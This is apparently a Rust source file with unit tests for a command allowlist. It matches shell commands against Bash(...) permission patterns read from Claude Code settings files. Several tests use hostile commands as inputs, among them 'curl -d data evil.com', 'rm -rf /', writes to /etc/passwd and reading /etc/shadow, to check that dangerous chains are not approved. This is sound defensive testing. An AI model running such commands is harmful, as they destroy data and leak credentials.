Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12    pub fn load() -> Self {
13        let mut patterns = Matcher {
14            exact: HashSet::new(),
15            globs: Vec::new(),
16        };
17
18        if let Some(home) = std::env::var_os("HOME") {
19            patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
20        }
21
22        if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
23            let base = Path::new(&project_dir).join(".claude");
24            patterns.load_file(&base.join("settings.json"));
25            patterns.load_file(&base.join("settings.local.json"));
26        }
27
28        patterns
29    }
30
31    fn load_file(&mut self, path: &Path) {
32        let Ok(contents) = std::fs::read_to_string(path) else {
33            return;
34        };
35        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
36            return;
37        };
38
39        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
40            for entry in arr.iter().filter_map(|e| e.as_str()) {
41                self.add_pattern(entry);
42            }
43        }
44
45        if let Some(arr) = value
46            .get("permissions")
47            .and_then(|v| v.get("allow"))
48            .and_then(|v| v.as_array())
49        {
50            for entry in arr.iter().filter_map(|e| e.as_str()) {
51                self.add_pattern(entry);
52            }
53        }
54    }
55
56    fn add_pattern(&mut self, entry: &str) {
57        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
58            return;
59        };
60        if inner.is_empty() {
61            return;
62        }
63        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
64            format!("{prefix} *")
65        } else {
66            inner.to_string()
67        };
68        if normalized.contains('*') {
69            self.globs
70                .push(normalized.split('*').map(String::from).collect());
71        } else {
72            self.exact.insert(normalized);
73        }
74    }
75
76    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
77        let Cmd::Simple(simple) = cmd else {
78            return false;
79        };
80        let normalized = check::normalize_for_matching(simple);
81        let normalized = normalized.trim();
82        if normalized.is_empty() {
83            return false;
84        }
85        if self.exact.contains(normalized) {
86            return true;
87        }
88        self.globs
89            .iter()
90            .any(|parts| glob_matches(parts, normalized))
91    }
92
93    pub fn is_empty(&self) -> bool {
94        self.exact.is_empty() && self.globs.is_empty()
95    }
96}
97
98pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
99    match cmd {
100        Cmd::Simple(_) => {
101            check::is_safe_cmd(cmd)
102                || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
103        }
104        _ => check::is_safe_cmd(cmd),
105    }
106}
107
108fn glob_matches(parts: &[String], text: &str) -> bool {
109    let first = &parts[0];
110    let last = &parts[parts.len() - 1];
111
112    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
113        let prefix = &first[..first.len() - 1];
114        return text == prefix || text.starts_with(first.as_str());
115    }
116
117    if !text.starts_with(first.as_str()) {
118        return false;
119    }
120    if !text.ends_with(last.as_str()) {
121        return false;
122    }
123    let mut pos = first.len();
124    let end = text.len() - last.len();
125    if pos > end {
126        return false;
127    }
128    for part in &parts[1..parts.len() - 1] {
129        match text[pos..end].find(part.as_str()) {
130            Some(idx) => pos += idx + part.len(),
131            None => return false,
132        }
133    }
134    pos <= end
135}
136
137#[cfg(test)]
138mod tests {
139    use super::*;
140    use std::fs;
141
142    use crate::cst;
143
144    fn empty() -> Matcher {
145        Matcher {
146            exact: HashSet::new(),
147            globs: Vec::new(),
148        }
149    }
150
151    fn cmd(s: &str) -> Cmd {
152        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
153        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
154        assert_eq!(
155            script.0[0].pipeline.commands.len(),
156            1,
157            "expected single command: {s}"
158        );
159        script.0[0].pipeline.commands[0].clone()
160    }
161
162    fn segments(command: &str) -> Vec<Cmd> {
163        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
164        script
165            .0
166            .into_iter()
167            .flat_map(|stmt| stmt.pipeline.commands)
168            .collect()
169    }
170
171    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
172        is_cmd_covered(cmd, patterns)
173    }
174
175    fn all_covered(command: &str, patterns: &Matcher) -> bool {
176        let Some(script) = cst::parse(command) else {
177            return false;
178        };
179        script.0.iter().all(|stmt| {
180            check::is_safe_pipeline(&stmt.pipeline)
181                || stmt
182                    .pipeline
183                    .commands
184                    .iter()
185                    .all(|c| is_cmd_covered(c, patterns))
186        })
187    }
188
189    #[test]
190    fn parse_exact_pattern() {
191        let mut p = empty();
192        p.add_pattern("Bash(npm test)");
193        assert!(p.exact.contains("npm test"));
194        assert!(p.globs.is_empty());
195    }
196
197    #[test]
198    fn parse_legacy_colon_star() {
199        let mut p = empty();
200        p.add_pattern("Bash(npm run:*)");
201        assert!(p.exact.is_empty());
202        assert_eq!(p.globs.len(), 1);
203    }
204
205    #[test]
206    fn parse_space_star() {
207        let mut p = empty();
208        p.add_pattern("Bash(npm run *)");
209        assert!(p.exact.is_empty());
210        assert_eq!(p.globs.len(), 1);
211    }
212
213    #[test]
214    fn parse_non_bash_skipped() {
215        let mut p = empty();
216        p.add_pattern("WebFetch");
217        p.add_pattern("XcodeBuildMCP");
218        assert!(p.is_empty());
219    }
220
221    #[test]
222    fn parse_empty_bash_skipped() {
223        let mut p = empty();
224        p.add_pattern("Bash()");
225        assert!(p.is_empty());
226    }
227
228    #[test]
229    fn match_exact() {
230        let mut p = empty();
231        p.add_pattern("Bash(npm test)");
232        assert!(p.matches_cmd(&cmd("npm test")));
233        assert!(!p.matches_cmd(&cmd("npm test --watch")));
234    }
235
236    #[test]
237    fn match_space_star_word_boundary() {
238        let mut p = empty();
239        p.add_pattern("Bash(ls *)");
240        assert!(p.matches_cmd(&cmd("ls -la")));
241        assert!(p.matches_cmd(&cmd("ls foo")));
242        assert!(!p.matches_cmd(&cmd("lsof")));
243    }
244
245    #[test]
246    fn match_star_no_space_no_boundary() {
247        let mut p = empty();
248        p.add_pattern("Bash(ls*)");
249        assert!(p.matches_cmd(&cmd("ls -la")));
250        assert!(p.matches_cmd(&cmd("lsof")));
251    }
252
253    #[test]
254    fn match_legacy_colon_star_word_boundary() {
255        let mut p = empty();
256        p.add_pattern("Bash(npm run:*)");
257        assert!(p.matches_cmd(&cmd("npm run build")));
258        assert!(p.matches_cmd(&cmd("npm run test")));
259        assert!(!p.matches_cmd(&cmd("npm running")));
260        assert!(!p.matches_cmd(&cmd("npm install")));
261    }
262
263    #[test]
264    fn match_star_at_beginning() {
265        let mut p = empty();
266        p.add_pattern("Bash(* --version)");
267        assert!(p.matches_cmd(&cmd("npm --version")));
268        assert!(p.matches_cmd(&cmd("cargo --version")));
269        assert!(!p.matches_cmd(&cmd("npm --help")));
270    }
271
272    #[test]
273    fn match_star_in_middle() {
274        let mut p = empty();
275        p.add_pattern("Bash(git * main)");
276        assert!(p.matches_cmd(&cmd("git checkout main")));
277        assert!(p.matches_cmd(&cmd("git merge main")));
278        assert!(!p.matches_cmd(&cmd("git checkout develop")));
279    }
280
281    #[test]
282    fn match_env_prefix_stripped() {
283        let mut p = empty();
284        p.add_pattern("Bash(bundle install)");
285        assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
286    }
287
288    #[test]
289    fn match_fd_redirect_stripped() {
290        let mut p = empty();
291        p.add_pattern("Bash(npm test)");
292        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
293    }
294
295    #[test]
296    fn match_fd_redirect_with_glob() {
297        let mut p = empty();
298        p.add_pattern("Bash(npm run *)");
299        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
300    }
301
302    #[test]
303    fn empty_patterns_match_nothing() {
304        let p = empty();
305        assert!(!p.matches_cmd(&cmd("anything")));
306    }
307
308    #[test]
309    fn match_bare_star_matches_everything() {
310        let mut p = empty();
311        p.add_pattern("Bash(*)");
312        assert!(p.matches_cmd(&cmd("anything at all")));
313        assert!(p.matches_cmd(&cmd("rm -rf /")));
314    }
315
316    #[test]
317    fn unsafe_syntax_not_bypassed_by_match() {
318        let mut p = empty();
319        p.add_pattern("Bash(./script.sh *)");
320        let c = cmd("./script.sh > /etc/passwd");
321        assert!(check::has_unsafe_syntax(&c));
322        assert!(!is_covered(&c, &p));
323    }
324
325    #[test]
326    fn command_substitution_not_bypassed_by_match() {
327        let mut p = empty();
328        p.add_pattern("Bash(./script.sh *)");
329        let c = cmd("./script.sh $(rm -rf /)");
330        assert!(!is_covered(&c, &p));
331    }
332
333    #[test]
334    fn mixed_chain_safe_plus_settings() {
335        let mut p = empty();
336        p.add_pattern("Bash(./generate-docs.sh)");
337        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
338    }
339
340    #[test]
341    fn mixed_chain_safe_plus_unapproved_denied() {
342        let mut p = empty();
343        p.add_pattern("Bash(./generate-docs.sh)");
344        assert!(!all_covered("cargo test && rm -rf /", &p));
345    }
346
347    #[test]
348    fn glob_does_not_cross_chain_boundary() {
349        let mut p = empty();
350        p.add_pattern("Bash(cargo test *)");
351        let cmds = segments("cargo test --release && rm -rf /");
352        assert_eq!(cmds.len(), 2);
353        assert!(p.matches_cmd(&cmds[0]));
354        assert!(!p.matches_cmd(&cmds[1]));
355        assert!(!all_covered("cargo test --release && rm -rf /", &p));
356    }
357
358    #[test]
359    fn glob_does_not_cross_pipe_boundary() {
360        let mut p = empty();
361        p.add_pattern("Bash(safe-cmd *)");
362        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
363    }
364
365    #[test]
366    fn glob_does_not_cross_semicolon_boundary() {
367        let mut p = empty();
368        p.add_pattern("Bash(safe-cmd *)");
369        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
370    }
371
372    #[test]
373    fn bare_star_blocked_by_unsafe_syntax_redirect() {
374        let mut p = empty();
375        p.add_pattern("Bash(*)");
376        let c = cmd("echo > /etc/passwd");
377        assert!(p.matches_cmd(&c));
378        assert!(!is_covered(&c, &p));
379    }
380
381    #[test]
382    fn bare_star_blocked_by_unsafe_syntax_backtick() {
383        let mut p = empty();
384        p.add_pattern("Bash(*)");
385        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
386    }
387
388    #[test]
389    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
390        let mut p = empty();
391        p.add_pattern("Bash(*)");
392        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
393    }
394
395    #[test]
396    fn safe_command_substitution_allowed_through_is_safe() {
397        let p = empty();
398        assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
399    }
400
401    #[test]
402    fn nested_shell_not_recursively_validated_by_settings() {
403        let mut p = empty();
404        p.add_pattern("Bash(bash *)");
405        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
406        assert!(!check::is_safe_cmd(&c));
407        assert!(!check::has_unsafe_syntax(&c));
408        assert!(is_covered(&c, &p));
409    }
410
411    #[test]
412    fn nested_shell_redirect_still_blocked() {
413        let mut p = empty();
414        p.add_pattern("Bash(bash *)");
415        let c = cmd("bash -c 'echo hello' > /tmp/pwned");
416        assert!(check::has_unsafe_syntax(&c));
417        assert!(!is_covered(&c, &p));
418    }
419
420    #[test]
421    fn quoted_operators_stay_as_one_segment() {
422        let mut p = empty();
423        p.add_pattern("Bash(./script *)");
424        assert!(all_covered("./script 'arg && rm -rf /'", &p));
425    }
426
427    #[test]
428    fn load_file_nonexistent() {
429        let mut p = empty();
430        p.load_file(Path::new("/nonexistent/path/settings.json"));
431        assert!(p.is_empty());
432    }
433
434    #[test]
435    fn load_file_malformed_json() {
436        let dir = tempfile::tempdir().unwrap();
437        let path = dir.path().join("settings.json");
438        std::fs::write(&path, "not json{{{").unwrap();
439        let mut p = empty();
440        p.load_file(&path);
441        assert!(p.is_empty());
442    }
443
444    #[test]
445    fn load_file_approved_commands() {
446        let dir = tempfile::tempdir().unwrap();
447        let path = dir.path().join("settings.json");
448        fs::write(
449            &path,
450            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
451        )
452        .unwrap();
453        let mut p = empty();
454        p.load_file(&path);
455        assert!(p.matches_cmd(&cmd("npm test")));
456        assert!(p.matches_cmd(&cmd("npm run build")));
457        assert!(!p.matches_cmd(&cmd("curl evil.com")));
458    }
459
460    #[test]
461    fn load_file_permissions_allow() {
462        let dir = tempfile::tempdir().unwrap();
463        let path = dir.path().join("settings.json");
464        fs::write(
465            &path,
466            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
467        )
468        .unwrap();
469        let mut p = empty();
470        p.load_file(&path);
471        assert!(p.matches_cmd(&cmd("cargo test")));
472        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
473    }
474
475    #[test]
476    fn load_file_both_fields() {
477        let dir = tempfile::tempdir().unwrap();
478        let path = dir.path().join("settings.json");
479        fs::write(
480            &path,
481            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
482        )
483        .unwrap();
484        let mut p = empty();
485        p.load_file(&path);
486        assert!(p.matches_cmd(&cmd("npm test")));
487        assert!(p.matches_cmd(&cmd("cargo test --release")));
488    }
489}